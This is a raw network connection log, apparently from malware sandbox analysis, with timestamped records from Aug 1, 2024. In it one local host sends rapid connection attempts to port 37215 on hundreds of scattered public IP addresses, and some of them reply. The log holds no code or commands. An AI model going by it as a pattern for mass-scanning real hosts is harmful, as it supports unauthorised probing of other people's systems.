Aug 1, 2024 15:35:00.218458891 CEST	57064	37215	192.168.2.14	41.120.210.166
Aug 1, 2024 15:35:00.219043970 CEST	57066	37215	192.168.2.14	197.50.190.2
Aug 1, 2024 15:35:00.219188929 CEST	37215	54100	69.134.32.164	192.168.2.14
Aug 1, 2024 15:35:00.219201088 CEST	37215	60006	157.154.25.224	192.168.2.14
Aug 1, 2024 15:35:00.219223976 CEST	54100	37215	192.168.2.14	69.134.32.164
Aug 1, 2024 15:35:00.219235897 CEST	60006	37215	192.168.2.14	157.154.25.224
Aug 1, 2024 15:35:00.219572067 CEST	37215	56740	41.59.251.151	192.168.2.14
Aug 1, 2024 15:35:00.219624996 CEST	56740	37215	192.168.2.14	41.59.251.151
Aug 1, 2024 15:35:00.219686031 CEST	54680	37215	192.168.2.14	9.190.232.44
Aug 1, 2024 15:35:00.220279932 CEST	37215	46312	57.81.164.95	192.168.2.14
Aug 1, 2024 15:35:00.220318079 CEST	46312	37215	192.168.2.14	57.81.164.95
Aug 1, 2024 15:35:00.220321894 CEST	42758	37215	192.168.2.14	197.78.203.22
Aug 1, 2024 15:35:00.220968962 CEST	59212	37215	192.168.2.14	41.47.38.45
Aug 1, 2024 15:35:00.221024036 CEST	37215	38070	44.219.0.116	192.168.2.14
Aug 1, 2024 15:35:00.221057892 CEST	38070	37215	192.168.2.14	44.219.0.116
Aug 1, 2024 15:35:00.221498013 CEST	37215	47098	157.78.224.146	192.168.2.14
Aug 1, 2024 15:35:00.221551895 CEST	47098	37215	192.168.2.14	157.78.224.146
Aug 1, 2024 15:35:00.221606970 CEST	46960	37215	192.168.2.14	41.19.193.117
Aug 1, 2024 15:35:00.221961021 CEST	37215	38238	157.176.18.12	192.168.2.14
Aug 1, 2024 15:35:00.222003937 CEST	38238	37215	192.168.2.14	157.176.18.12
Aug 1, 2024 15:35:00.222251892 CEST	56584	37215	192.168.2.14	197.232.173.134
Aug 1, 2024 15:35:00.222654104 CEST	37215	34282	157.202.198.155	192.168.2.14
Aug 1, 2024 15:35:00.222698927 CEST	34282	37215	192.168.2.14	157.202.198.155
Aug 1, 2024 15:35:00.222899914 CEST	40768	37215	192.168.2.14	41.154.100.136
Aug 1, 2024 15:35:00.223354101 CEST	37215	48004	197.150.163.156	192.168.2.14
Aug 1, 2024 15:35:00.223402023 CEST	48004	37215	192.168.2.14	197.150.163.156
Aug 1, 2024 15:35:00.223534107 CEST	49258	37215	192.168.2.14	207.169.8.62
Aug 1, 2024 15:35:00.224183083 CEST	60676	37215	192.168.2.14	157.26.227.71
Aug 1, 2024 15:35:00.224263906 CEST	37215	57066	197.50.190.2	192.168.2.14
Aug 1, 2024 15:35:00.224323988 CEST	57066	37215	192.168.2.14	197.50.190.2
Aug 1, 2024 15:35:00.224457026 CEST	37215	54680	9.190.232.44	192.168.2.14
Aug 1, 2024 15:35:00.224517107 CEST	54680	37215	192.168.2.14	9.190.232.44
Aug 1, 2024 15:35:00.224841118 CEST	45806	37215	192.168.2.14	157.141.178.189
Aug 1, 2024 15:35:00.225141048 CEST	37215	42758	197.78.203.22	192.168.2.14
Aug 1, 2024 15:35:00.225204945 CEST	42758	37215	192.168.2.14	197.78.203.22
Aug 1, 2024 15:35:00.225480080 CEST	37984	37215	192.168.2.14	41.175.200.51
Aug 1, 2024 15:35:00.225904942 CEST	37215	59212	41.47.38.45	192.168.2.14
Aug 1, 2024 15:35:00.225939989 CEST	59212	37215	192.168.2.14	41.47.38.45
Aug 1, 2024 15:35:00.226243019 CEST	41082	37215	192.168.2.14	197.207.234.50
Aug 1, 2024 15:35:00.226887941 CEST	51034	37215	192.168.2.14	157.80.75.49
Aug 1, 2024 15:35:00.227546930 CEST	50214	37215	192.168.2.14	111.109.25.218
Aug 1, 2024 15:35:00.227853060 CEST	37215	46960	41.19.193.117	192.168.2.14
Aug 1, 2024 15:35:00.227864027 CEST	37215	56584	197.232.173.134	192.168.2.14
Aug 1, 2024 15:35:00.227905989 CEST	56584	37215	192.168.2.14	197.232.173.134
Aug 1, 2024 15:35:00.227927923 CEST	46960	37215	192.168.2.14	41.19.193.117
Aug 1, 2024 15:35:00.228158951 CEST	37215	40768	41.154.100.136	192.168.2.14
Aug 1, 2024 15:35:00.228204012 CEST	57064	37215	192.168.2.14	41.181.222.122
Aug 1, 2024 15:35:00.228214025 CEST	40768	37215	192.168.2.14	41.154.100.136
Aug 1, 2024 15:35:00.228549957 CEST	37215	49258	207.169.8.62	192.168.2.14
Aug 1, 2024 15:35:00.228579044 CEST	49258	37215	192.168.2.14	207.169.8.62
Aug 1, 2024 15:35:00.228854895 CEST	59686	37215	192.168.2.14	197.142.142.176
Aug 1, 2024 15:35:00.229171991 CEST	37215	60676	157.26.227.71	192.168.2.14
Aug 1, 2024 15:35:00.229223013 CEST	60676	37215	192.168.2.14	157.26.227.71
Aug 1, 2024 15:35:00.229541063 CEST	48010	37215	192.168.2.14	97.225.37.49
Aug 1, 2024 15:35:00.229649067 CEST	37215	45806	157.141.178.189	192.168.2.14
Aug 1, 2024 15:35:00.229707956 CEST	45806	37215	192.168.2.14	157.141.178.189
Aug 1, 2024 15:35:00.230194092 CEST	58256	37215	192.168.2.14	197.202.23.183
Aug 1, 2024 15:35:00.230623960 CEST	37215	37984	41.175.200.51	192.168.2.14
Aug 1, 2024 15:35:00.230664015 CEST	37984	37215	192.168.2.14	41.175.200.51
Aug 1, 2024 15:35:00.230829954 CEST	44700	37215	192.168.2.14	41.108.171.23
Aug 1, 2024 15:35:00.231400967 CEST	37215	41082	197.207.234.50	192.168.2.14
Aug 1, 2024 15:35:00.231441975 CEST	41082	37215	192.168.2.14	197.207.234.50
Aug 1, 2024 15:35:00.231461048 CEST	47408	37215	192.168.2.14	197.206.69.135
Aug 1, 2024 15:35:00.232105970 CEST	37215	51034	157.80.75.49	192.168.2.14
Aug 1, 2024 15:35:00.232110977 CEST	53234	37215	192.168.2.14	41.92.243.160
Aug 1, 2024 15:35:00.232141972 CEST	51034	37215	192.168.2.14	157.80.75.49
Aug 1, 2024 15:35:00.232729912 CEST	37215	50214	111.109.25.218	192.168.2.14
Aug 1, 2024 15:35:00.232739925 CEST	37190	37215	192.168.2.14	157.4.161.135
Aug 1, 2024 15:35:00.232801914 CEST	50214	37215	192.168.2.14	111.109.25.218
Aug 1, 2024 15:35:00.232975006 CEST	37215	57064	41.181.222.122	192.168.2.14
Aug 1, 2024 15:35:00.233006001 CEST	57064	37215	192.168.2.14	41.181.222.122
Aug 1, 2024 15:35:00.233390093 CEST	51006	37215	192.168.2.14	41.141.59.33
Aug 1, 2024 15:35:00.234035015 CEST	37215	59686	197.142.142.176	192.168.2.14
Aug 1, 2024 15:35:00.234050989 CEST	46078	37215	192.168.2.14	197.189.16.221
Aug 1, 2024 15:35:00.234088898 CEST	59686	37215	192.168.2.14	197.142.142.176
Aug 1, 2024 15:35:00.234388113 CEST	37215	48010	97.225.37.49	192.168.2.14
Aug 1, 2024 15:35:00.234428883 CEST	48010	37215	192.168.2.14	97.225.37.49
Aug 1, 2024 15:35:00.234704018 CEST	48854	37215	192.168.2.14	157.111.195.69
Aug 1, 2024 15:35:00.234996080 CEST	37215	58256	197.202.23.183	192.168.2.14
Aug 1, 2024 15:35:00.235045910 CEST	58256	37215	192.168.2.14	197.202.23.183
Aug 1, 2024 15:35:00.235332012 CEST	48870	37215	192.168.2.14	157.12.7.143
Aug 1, 2024 15:35:00.235713959 CEST	37215	44700	41.108.171.23	192.168.2.14
Aug 1, 2024 15:35:00.235757113 CEST	44700	37215	192.168.2.14	41.108.171.23
Aug 1, 2024 15:35:00.235984087 CEST	33676	37215	192.168.2.14	41.235.2.64
Aug 1, 2024 15:35:00.236469984 CEST	37215	47408	197.206.69.135	192.168.2.14
Aug 1, 2024 15:35:00.236512899 CEST	47408	37215	192.168.2.14	197.206.69.135
Aug 1, 2024 15:35:00.236639977 CEST	48510	37215	192.168.2.14	107.219.166.209
Aug 1, 2024 15:35:00.237010002 CEST	37215	53234	41.92.243.160	192.168.2.14
Aug 1, 2024 15:35:00.237066984 CEST	53234	37215	192.168.2.14	41.92.243.160
Aug 1, 2024 15:35:00.237267971 CEST	34878	37215	192.168.2.14	197.113.68.40
Aug 1, 2024 15:35:00.237658024 CEST	37215	37190	157.4.161.135	192.168.2.14
Aug 1, 2024 15:35:00.237708092 CEST	37190	37215	192.168.2.14	157.4.161.135
Aug 1, 2024 15:35:00.237936020 CEST	59418	37215	192.168.2.14	90.60.116.72
Aug 1, 2024 15:35:00.238574982 CEST	59080	37215	192.168.2.14	197.104.209.122
Aug 1, 2024 15:35:00.238717079 CEST	37215	51006	41.141.59.33	192.168.2.14
Aug 1, 2024 15:35:00.238759995 CEST	51006	37215	192.168.2.14	41.141.59.33
Aug 1, 2024 15:35:00.239001989 CEST	37215	46078	197.189.16.221	192.168.2.14
Aug 1, 2024 15:35:00.239042044 CEST	46078	37215	192.168.2.14	197.189.16.221
Aug 1, 2024 15:35:00.239238977 CEST	38258	37215	192.168.2.14	41.20.51.254
Aug 1, 2024 15:35:00.239883900 CEST	40058	37215	192.168.2.14	41.164.149.143
Aug 1, 2024 15:35:00.240534067 CEST	38882	37215	192.168.2.14	157.37.144.15
Aug 1, 2024 15:35:00.240782976 CEST	37215	48854	157.111.195.69	192.168.2.14
Aug 1, 2024 15:35:00.240837097 CEST	48854	37215	192.168.2.14	157.111.195.69
Aug 1, 2024 15:35:00.240850925 CEST	37215	48870	157.12.7.143	192.168.2.14
Aug 1, 2024 15:35:00.240891933 CEST	48870	37215	192.168.2.14	157.12.7.143
Aug 1, 2024 15:35:00.240997076 CEST	37215	33676	41.235.2.64	192.168.2.14
Aug 1, 2024 15:35:00.241048098 CEST	33676	37215	192.168.2.14	41.235.2.64
Aug 1, 2024 15:35:00.241189003 CEST	57486	37215	192.168.2.14	191.11.246.174
Aug 1, 2024 15:35:00.241427898 CEST	37215	48510	107.219.166.209	192.168.2.14
Aug 1, 2024 15:35:00.241468906 CEST	48510	37215	192.168.2.14	107.219.166.209
Aug 1, 2024 15:35:00.241847038 CEST	50658	37215	192.168.2.14	41.88.37.150
Aug 1, 2024 15:35:00.242185116 CEST	37215	34878	197.113.68.40	192.168.2.14
Aug 1, 2024 15:35:00.242238045 CEST	34878	37215	192.168.2.14	197.113.68.40
Aug 1, 2024 15:35:00.242477894 CEST	46654	37215	192.168.2.14	119.19.55.36
Aug 1, 2024 15:35:00.242747068 CEST	37215	59418	90.60.116.72	192.168.2.14
Aug 1, 2024 15:35:00.242796898 CEST	59418	37215	192.168.2.14	90.60.116.72
Aug 1, 2024 15:35:00.243129969 CEST	57020	37215	192.168.2.14	197.171.207.212
Aug 1, 2024 15:35:00.243376970 CEST	37215	59080	197.104.209.122	192.168.2.14
Aug 1, 2024 15:35:00.243422985 CEST	59080	37215	192.168.2.14	197.104.209.122
Aug 1, 2024 15:35:00.243767023 CEST	34356	37215	192.168.2.14	20.52.179.216
Aug 1, 2024 15:35:00.244136095 CEST	37215	38258	41.20.51.254	192.168.2.14
Aug 1, 2024 15:35:00.244182110 CEST	38258	37215	192.168.2.14	41.20.51.254
Aug 1, 2024 15:35:00.244427919 CEST	46518	37215	192.168.2.14	41.24.101.6
Aug 1, 2024 15:35:00.245093107 CEST	37215	40058	41.164.149.143	192.168.2.14
Aug 1, 2024 15:35:00.245100021 CEST	50164	37215	192.168.2.14	41.100.224.123
Aug 1, 2024 15:35:00.245138884 CEST	40058	37215	192.168.2.14	41.164.149.143
Aug 1, 2024 15:35:00.245486021 CEST	37215	38882	157.37.144.15	192.168.2.14
Aug 1, 2024 15:35:00.245529890 CEST	38882	37215	192.168.2.14	157.37.144.15
Aug 1, 2024 15:35:00.245778084 CEST	60398	37215	192.168.2.14	41.164.193.236
Aug 1, 2024 15:35:00.246052980 CEST	37215	57486	191.11.246.174	192.168.2.14
Aug 1, 2024 15:35:00.246093988 CEST	57486	37215	192.168.2.14	191.11.246.174
Aug 1, 2024 15:35:00.246452093 CEST	39886	37215	192.168.2.14	31.68.35.109
Aug 1, 2024 15:35:00.246623993 CEST	37215	50658	41.88.37.150	192.168.2.14
Aug 1, 2024 15:35:00.246670008 CEST	50658	37215	192.168.2.14	41.88.37.150
Aug 1, 2024 15:35:00.247087955 CEST	54792	37215	192.168.2.14	157.124.63.138
Aug 1, 2024 15:35:00.247349977 CEST	37215	46654	119.19.55.36	192.168.2.14
Aug 1, 2024 15:35:00.247391939 CEST	46654	37215	192.168.2.14	119.19.55.36
Aug 1, 2024 15:35:00.247725010 CEST	33120	37215	192.168.2.14	157.154.49.44
Aug 1, 2024 15:35:00.248157978 CEST	37215	57020	197.171.207.212	192.168.2.14
Aug 1, 2024 15:35:00.248199940 CEST	57020	37215	192.168.2.14	197.171.207.212
Aug 1, 2024 15:35:00.248404026 CEST	43508	37215	192.168.2.14	84.232.124.112
Aug 1, 2024 15:35:00.248544931 CEST	37215	34356	20.52.179.216	192.168.2.14
Aug 1, 2024 15:35:00.248595953 CEST	34356	37215	192.168.2.14	20.52.179.216
Aug 1, 2024 15:35:00.249073982 CEST	57498	37215	192.168.2.14	135.28.2.66
Aug 1, 2024 15:35:00.249227047 CEST	37215	46518	41.24.101.6	192.168.2.14
Aug 1, 2024 15:35:00.249275923 CEST	46518	37215	192.168.2.14	41.24.101.6
Aug 1, 2024 15:35:00.249726057 CEST	39342	37215	192.168.2.14	197.102.197.145
Aug 1, 2024 15:35:00.249838114 CEST	37215	50164	41.100.224.123	192.168.2.14
Aug 1, 2024 15:35:00.249883890 CEST	50164	37215	192.168.2.14	41.100.224.123
Aug 1, 2024 15:35:00.250371933 CEST	49340	37215	192.168.2.14	157.213.113.199
Aug 1, 2024 15:35:00.250647068 CEST	37215	60398	41.164.193.236	192.168.2.14
Aug 1, 2024 15:35:00.250685930 CEST	60398	37215	192.168.2.14	41.164.193.236
Aug 1, 2024 15:35:00.251035929 CEST	36370	37215	192.168.2.14	157.108.237.235
Aug 1, 2024 15:35:00.251267910 CEST	37215	39886	31.68.35.109	192.168.2.14
Aug 1, 2024 15:35:00.251319885 CEST	39886	37215	192.168.2.14	31.68.35.109
Aug 1, 2024 15:35:00.251683950 CEST	35198	37215	192.168.2.14	157.182.24.105
Aug 1, 2024 15:35:00.252048969 CEST	37215	54792	157.124.63.138	192.168.2.14
Aug 1, 2024 15:35:00.252094984 CEST	54792	37215	192.168.2.14	157.124.63.138
Aug 1, 2024 15:35:00.252340078 CEST	43190	37215	192.168.2.14	38.125.81.98
Aug 1, 2024 15:35:00.252537966 CEST	37215	33120	157.154.49.44	192.168.2.14
Aug 1, 2024 15:35:00.252580881 CEST	33120	37215	192.168.2.14	157.154.49.44
Aug 1, 2024 15:35:00.253005028 CEST	33550	37215	192.168.2.14	197.159.39.86
Aug 1, 2024 15:35:00.253438950 CEST	37215	43508	84.232.124.112	192.168.2.14
Aug 1, 2024 15:35:00.253505945 CEST	43508	37215	192.168.2.14	84.232.124.112
Aug 1, 2024 15:35:00.253907919 CEST	47586	37215	192.168.2.14	41.98.161.227
Aug 1, 2024 15:35:00.254626036 CEST	54352	37215	192.168.2.14	41.193.83.65
Aug 1, 2024 15:35:00.254630089 CEST	37215	57498	135.28.2.66	192.168.2.14
Aug 1, 2024 15:35:00.254699945 CEST	57498	37215	192.168.2.14	135.28.2.66
Aug 1, 2024 15:35:00.254873037 CEST	37215	39342	197.102.197.145	192.168.2.14
Aug 1, 2024 15:35:00.254923105 CEST	39342	37215	192.168.2.14	197.102.197.145
Aug 1, 2024 15:35:00.255179882 CEST	37215	49340	157.213.113.199	192.168.2.14
Aug 1, 2024 15:35:00.255219936 CEST	49340	37215	192.168.2.14	157.213.113.199
Aug 1, 2024 15:35:00.255376101 CEST	41494	37215	192.168.2.14	157.196.26.75
Aug 1, 2024 15:35:00.255948067 CEST	37215	36370	157.108.237.235	192.168.2.14
Aug 1, 2024 15:35:00.255991936 CEST	36370	37215	192.168.2.14	157.108.237.235
Aug 1, 2024 15:35:00.256082058 CEST	34028	37215	192.168.2.14	125.161.255.108
Aug 1, 2024 15:35:00.256556034 CEST	37215	35198	157.182.24.105	192.168.2.14
Aug 1, 2024 15:35:00.256598949 CEST	35198	37215	192.168.2.14	157.182.24.105
Aug 1, 2024 15:35:00.256779909 CEST	57654	37215	192.168.2.14	157.240.220.84
Aug 1, 2024 15:35:00.257154942 CEST	37215	43190	38.125.81.98	192.168.2.14
Aug 1, 2024 15:35:00.257199049 CEST	43190	37215	192.168.2.14	38.125.81.98
Aug 1, 2024 15:35:00.257484913 CEST	35708	37215	192.168.2.14	41.217.127.50
Aug 1, 2024 15:35:00.257966042 CEST	37215	33550	197.159.39.86	192.168.2.14
Aug 1, 2024 15:35:00.258003950 CEST	33550	37215	192.168.2.14	197.159.39.86
Aug 1, 2024 15:35:00.258198023 CEST	42080	37215	192.168.2.14	126.193.242.217
Aug 1, 2024 15:35:00.258759975 CEST	37215	47586	41.98.161.227	192.168.2.14
Aug 1, 2024 15:35:00.258800983 CEST	47586	37215	192.168.2.14	41.98.161.227
Aug 1, 2024 15:35:00.258884907 CEST	56196	37215	192.168.2.14	197.206.36.187
Aug 1, 2024 15:35:00.259486914 CEST	37215	54352	41.193.83.65	192.168.2.14
Aug 1, 2024 15:35:00.259538889 CEST	54352	37215	192.168.2.14	41.193.83.65
Aug 1, 2024 15:35:00.259587049 CEST	42584	37215	192.168.2.14	157.36.246.84
Aug 1, 2024 15:35:00.260194063 CEST	37215	41494	157.196.26.75	192.168.2.14
Aug 1, 2024 15:35:00.260240078 CEST	41494	37215	192.168.2.14	157.196.26.75
Aug 1, 2024 15:35:00.260268927 CEST	35078	37215	192.168.2.14	157.253.180.1
Aug 1, 2024 15:35:00.260991096 CEST	39718	37215	192.168.2.14	197.68.48.181
Aug 1, 2024 15:35:00.261248112 CEST	37215	34028	125.161.255.108	192.168.2.14
Aug 1, 2024 15:35:00.261331081 CEST	34028	37215	192.168.2.14	125.161.255.108
Aug 1, 2024 15:35:00.261730909 CEST	37215	57654	157.240.220.84	192.168.2.14
Aug 1, 2024 15:35:00.261739969 CEST	49172	37215	192.168.2.14	157.33.103.177
Aug 1, 2024 15:35:00.261770964 CEST	57654	37215	192.168.2.14	157.240.220.84
Aug 1, 2024 15:35:00.262403965 CEST	37215	35708	41.217.127.50	192.168.2.14
Aug 1, 2024 15:35:00.262443066 CEST	40632	37215	192.168.2.14	80.139.130.56
Aug 1, 2024 15:35:00.262448072 CEST	35708	37215	192.168.2.14	41.217.127.50
Aug 1, 2024 15:35:00.263015985 CEST	37215	42080	126.193.242.217	192.168.2.14
Aug 1, 2024 15:35:00.263056993 CEST	42080	37215	192.168.2.14	126.193.242.217
Aug 1, 2024 15:35:00.263149023 CEST	34440	37215	192.168.2.14	41.168.112.235
Aug 1, 2024 15:35:00.263947010 CEST	37024	37215	192.168.2.14	41.238.48.28
Aug 1, 2024 15:35:00.264533043 CEST	33580	37215	192.168.2.14	157.164.69.172
Aug 1, 2024 15:35:00.264755964 CEST	37215	56196	197.206.36.187	192.168.2.14
Aug 1, 2024 15:35:00.264800072 CEST	56196	37215	192.168.2.14	197.206.36.187
Aug 1, 2024 15:35:00.264925957 CEST	37215	42584	157.36.246.84	192.168.2.14
Aug 1, 2024 15:35:00.264969110 CEST	42584	37215	192.168.2.14	157.36.246.84
Aug 1, 2024 15:35:00.265153885 CEST	53804	37215	192.168.2.14	180.63.19.68
Aug 1, 2024 15:35:00.265398026 CEST	37215	35078	157.253.180.1	192.168.2.14
Aug 1, 2024 15:35:00.265439034 CEST	35078	37215	192.168.2.14	157.253.180.1
Aug 1, 2024 15:35:00.265743017 CEST	53958	37215	192.168.2.14	41.62.154.132
Aug 1, 2024 15:35:00.265830994 CEST	37215	39718	197.68.48.181	192.168.2.14
Aug 1, 2024 15:35:00.265883923 CEST	39718	37215	192.168.2.14	197.68.48.181
Aug 1, 2024 15:35:00.266310930 CEST	44184	37215	192.168.2.14	157.114.215.88
Aug 1, 2024 15:35:00.266668081 CEST	37215	49172	157.33.103.177	192.168.2.14
Aug 1, 2024 15:35:00.266707897 CEST	49172	37215	192.168.2.14	157.33.103.177
Aug 1, 2024 15:35:00.266900063 CEST	39736	37215	192.168.2.14	24.19.94.141
Aug 1, 2024 15:35:00.267498970 CEST	36768	37215	192.168.2.14	197.80.49.11
Aug 1, 2024 15:35:00.268035889 CEST	37215	40632	80.139.130.56	192.168.2.14
Aug 1, 2024 15:35:00.268090963 CEST	49650	37215	192.168.2.14	197.238.76.171
Aug 1, 2024 15:35:00.268093109 CEST	40632	37215	192.168.2.14	80.139.130.56
Aug 1, 2024 15:35:00.268110037 CEST	37215	34440	41.168.112.235	192.168.2.14
Aug 1, 2024 15:35:00.268152952 CEST	34440	37215	192.168.2.14	41.168.112.235
Aug 1, 2024 15:35:00.268702984 CEST	57312	37215	192.168.2.14	157.96.41.58
Aug 1, 2024 15:35:00.269294024 CEST	44918	37215	192.168.2.14	157.224.253.79
Aug 1, 2024 15:35:00.269510984 CEST	37215	37024	41.238.48.28	192.168.2.14
Aug 1, 2024 15:35:00.269556046 CEST	37215	33580	157.164.69.172	192.168.2.14
Aug 1, 2024 15:35:00.269565105 CEST	37024	37215	192.168.2.14	41.238.48.28
Aug 1, 2024 15:35:00.269599915 CEST	33580	37215	192.168.2.14	157.164.69.172
Aug 1, 2024 15:35:00.269897938 CEST	50318	37215	192.168.2.14	157.234.135.198
Aug 1, 2024 15:35:00.270279884 CEST	37215	53804	180.63.19.68	192.168.2.14
Aug 1, 2024 15:35:00.270335913 CEST	53804	37215	192.168.2.14	180.63.19.68
Aug 1, 2024 15:35:00.270478010 CEST	37215	53958	41.62.154.132	192.168.2.14
Aug 1, 2024 15:35:00.270523071 CEST	53958	37215	192.168.2.14	41.62.154.132
Aug 1, 2024 15:35:00.270550966 CEST	40136	37215	192.168.2.14	157.137.112.29
Aug 1, 2024 15:35:00.271063089 CEST	37215	44184	157.114.215.88	192.168.2.14
Aug 1, 2024 15:35:00.271117926 CEST	44184	37215	192.168.2.14	157.114.215.88
Aug 1, 2024 15:35:00.271152973 CEST	53172	37215	192.168.2.14	41.241.175.134
Aug 1, 2024 15:35:00.271747112 CEST	57362	37215	192.168.2.14	41.151.44.236
Aug 1, 2024 15:35:00.271799088 CEST	37215	39736	24.19.94.141	192.168.2.14
Aug 1, 2024 15:35:00.271843910 CEST	39736	37215	192.168.2.14	24.19.94.141
Aug 1, 2024 15:35:00.272228956 CEST	37215	36768	197.80.49.11	192.168.2.14
Aug 1, 2024 15:35:00.272274017 CEST	36768	37215	192.168.2.14	197.80.49.11
Aug 1, 2024 15:35:00.272351027 CEST	52170	37215	192.168.2.14	41.170.129.204
Aug 1, 2024 15:35:00.272948980 CEST	34534	37215	192.168.2.14	12.200.124.37
Aug 1, 2024 15:35:00.272991896 CEST	37215	49650	197.238.76.171	192.168.2.14
Aug 1, 2024 15:35:00.273041010 CEST	49650	37215	192.168.2.14	197.238.76.171
Aug 1, 2024 15:35:00.273565054 CEST	42790	37215	192.168.2.14	157.4.86.223
Aug 1, 2024 15:35:00.273690939 CEST	37215	57312	157.96.41.58	192.168.2.14
Aug 1, 2024 15:35:00.273737907 CEST	57312	37215	192.168.2.14	157.96.41.58
Aug 1, 2024 15:35:00.274169922 CEST	39564	37215	192.168.2.14	197.146.97.77
Aug 1, 2024 15:35:00.274328947 CEST	37215	44918	157.224.253.79	192.168.2.14
Aug 1, 2024 15:35:00.274379015 CEST	44918	37215	192.168.2.14	157.224.253.79
Aug 1, 2024 15:35:00.274784088 CEST	48662	37215	192.168.2.14	27.13.167.201
Aug 1, 2024 15:35:00.275396109 CEST	55352	37215	192.168.2.14	157.162.42.208
Aug 1, 2024 15:35:00.275893927 CEST	37215	50318	157.234.135.198	192.168.2.14
Aug 1, 2024 15:35:00.275942087 CEST	37215	40136	157.137.112.29	192.168.2.14
Aug 1, 2024 15:35:00.275949955 CEST	50318	37215	192.168.2.14	157.234.135.198
Aug 1, 2024 15:35:00.275954962 CEST	37215	53172	41.241.175.134	192.168.2.14
Aug 1, 2024 15:35:00.275990963 CEST	40136	37215	192.168.2.14	157.137.112.29
Aug 1, 2024 15:35:00.275999069 CEST	53172	37215	192.168.2.14	41.241.175.134
Aug 1, 2024 15:35:00.276027918 CEST	33682	37215	192.168.2.14	188.108.83.39
Aug 1, 2024 15:35:00.276639938 CEST	33556	37215	192.168.2.14	157.201.154.148
Aug 1, 2024 15:35:00.277029037 CEST	37215	57362	41.151.44.236	192.168.2.14
Aug 1, 2024 15:35:00.277070045 CEST	57362	37215	192.168.2.14	41.151.44.236
Aug 1, 2024 15:35:00.277102947 CEST	37215	52170	41.170.129.204	192.168.2.14
Aug 1, 2024 15:35:00.277147055 CEST	52170	37215	192.168.2.14	41.170.129.204
Aug 1, 2024 15:35:00.277205944 CEST	47894	37215	192.168.2.14	197.60.134.183
Aug 1, 2024 15:35:00.277807951 CEST	42882	37215	192.168.2.14	157.254.90.108
Aug 1, 2024 15:35:00.278069973 CEST	37215	34534	12.200.124.37	192.168.2.14
Aug 1, 2024 15:35:00.278115034 CEST	34534	37215	192.168.2.14	12.200.124.37
Aug 1, 2024 15:35:00.278414011 CEST	34600	37215	192.168.2.14	41.78.120.21
Aug 1, 2024 15:35:00.278745890 CEST	37215	42790	157.4.86.223	192.168.2.14
Aug 1, 2024 15:35:00.278803110 CEST	42790	37215	192.168.2.14	157.4.86.223
Aug 1, 2024 15:35:00.278986931 CEST	58140	37215	192.168.2.14	197.105.131.94
Aug 1, 2024 15:35:00.279661894 CEST	42660	37215	192.168.2.14	73.38.23.67
Aug 1, 2024 15:35:00.280266047 CEST	51110	37215	192.168.2.14	157.242.52.91
Aug 1, 2024 15:35:00.280853033 CEST	56794	37215	192.168.2.14	157.23.170.138
Aug 1, 2024 15:35:00.281342983 CEST	37215	39564	197.146.97.77	192.168.2.14
Aug 1, 2024 15:35:00.281358004 CEST	37215	48662	27.13.167.201	192.168.2.14
Aug 1, 2024 15:35:00.281369925 CEST	37215	55352	157.162.42.208	192.168.2.14
Aug 1, 2024 15:35:00.281379938 CEST	37215	33682	188.108.83.39	192.168.2.14
Aug 1, 2024 15:35:00.281390905 CEST	39564	37215	192.168.2.14	197.146.97.77
Aug 1, 2024 15:35:00.281399965 CEST	48662	37215	192.168.2.14	27.13.167.201
Aug 1, 2024 15:35:00.281413078 CEST	55352	37215	192.168.2.14	157.162.42.208
Aug 1, 2024 15:35:00.281415939 CEST	33682	37215	192.168.2.14	188.108.83.39
Aug 1, 2024 15:35:00.281439066 CEST	47622	37215	192.168.2.14	41.89.107.167
Aug 1, 2024 15:35:00.281984091 CEST	37215	33556	157.201.154.148	192.168.2.14
Aug 1, 2024 15:35:00.282027006 CEST	60206	37215	192.168.2.14	41.56.153.170
Aug 1, 2024 15:35:00.282032013 CEST	33556	37215	192.168.2.14	157.201.154.148
Aug 1, 2024 15:35:00.282140017 CEST	37215	47894	197.60.134.183	192.168.2.14
Aug 1, 2024 15:35:00.282182932 CEST	47894	37215	192.168.2.14	197.60.134.183
Aug 1, 2024 15:35:00.282614946 CEST	40906	37215	192.168.2.14	41.150.42.173
Aug 1, 2024 15:35:00.282861948 CEST	37215	42882	157.254.90.108	192.168.2.14
Aug 1, 2024 15:35:00.282903910 CEST	42882	37215	192.168.2.14	157.254.90.108
Aug 1, 2024 15:35:00.283149004 CEST	36140	37215	192.168.2.14	157.147.180.179
Aug 1, 2024 15:35:00.283184052 CEST	39948	37215	192.168.2.14	23.22.18.80
Aug 1, 2024 15:35:00.283215046 CEST	55318	37215	192.168.2.14	41.159.222.178
Aug 1, 2024 15:35:00.283246040 CEST	53904	37215	192.168.2.14	197.116.156.209
Aug 1, 2024 15:35:00.283276081 CEST	39690	37215	192.168.2.14	197.82.105.13
Aug 1, 2024 15:35:00.283303976 CEST	43764	37215	192.168.2.14	157.52.2.31
Aug 1, 2024 15:35:00.283339977 CEST	39344	37215	192.168.2.14	157.14.74.18
Aug 1, 2024 15:35:00.283340931 CEST	37215	34600	41.78.120.21	192.168.2.14
Aug 1, 2024 15:35:00.283368111 CEST	46784	37215	192.168.2.14	197.82.241.173
Aug 1, 2024 15:35:00.283385038 CEST	34600	37215	192.168.2.14	41.78.120.21
Aug 1, 2024 15:35:00.283405066 CEST	37854	37215	192.168.2.14	197.224.170.133
Aug 1, 2024 15:35:00.283432961 CEST	54662	37215	192.168.2.14	48.237.246.202
Aug 1, 2024 15:35:00.283463955 CEST	36358	37215	192.168.2.14	169.90.93.182
Aug 1, 2024 15:35:00.283495903 CEST	37040	37215	192.168.2.14	157.115.158.85
Aug 1, 2024 15:35:00.283524036 CEST	42748	37215	192.168.2.14	157.194.230.216
Aug 1, 2024 15:35:00.283550978 CEST	60678	37215	192.168.2.14	157.34.139.219
Aug 1, 2024 15:35:00.283584118 CEST	41796	37215	192.168.2.14	32.15.100.40
Aug 1, 2024 15:35:00.283612013 CEST	58852	37215	192.168.2.14	97.250.45.42
Aug 1, 2024 15:35:00.283646107 CEST	48382	37215	192.168.2.14	197.149.19.54
Aug 1, 2024 15:35:00.283675909 CEST	55048	37215	192.168.2.14	41.179.175.67
Aug 1, 2024 15:35:00.283708096 CEST	55130	37215	192.168.2.14	41.228.155.1
Aug 1, 2024 15:35:00.283736944 CEST	57064	37215	192.168.2.14	41.120.210.166
Aug 1, 2024 15:35:00.283761978 CEST	54100	37215	192.168.2.14	69.134.32.164
Aug 1, 2024 15:35:00.283795118 CEST	60006	37215	192.168.2.14	157.154.25.224
Aug 1, 2024 15:35:00.283806086 CEST	37215	58140	197.105.131.94	192.168.2.14
Aug 1, 2024 15:35:00.283824921 CEST	56740	37215	192.168.2.14	41.59.251.151
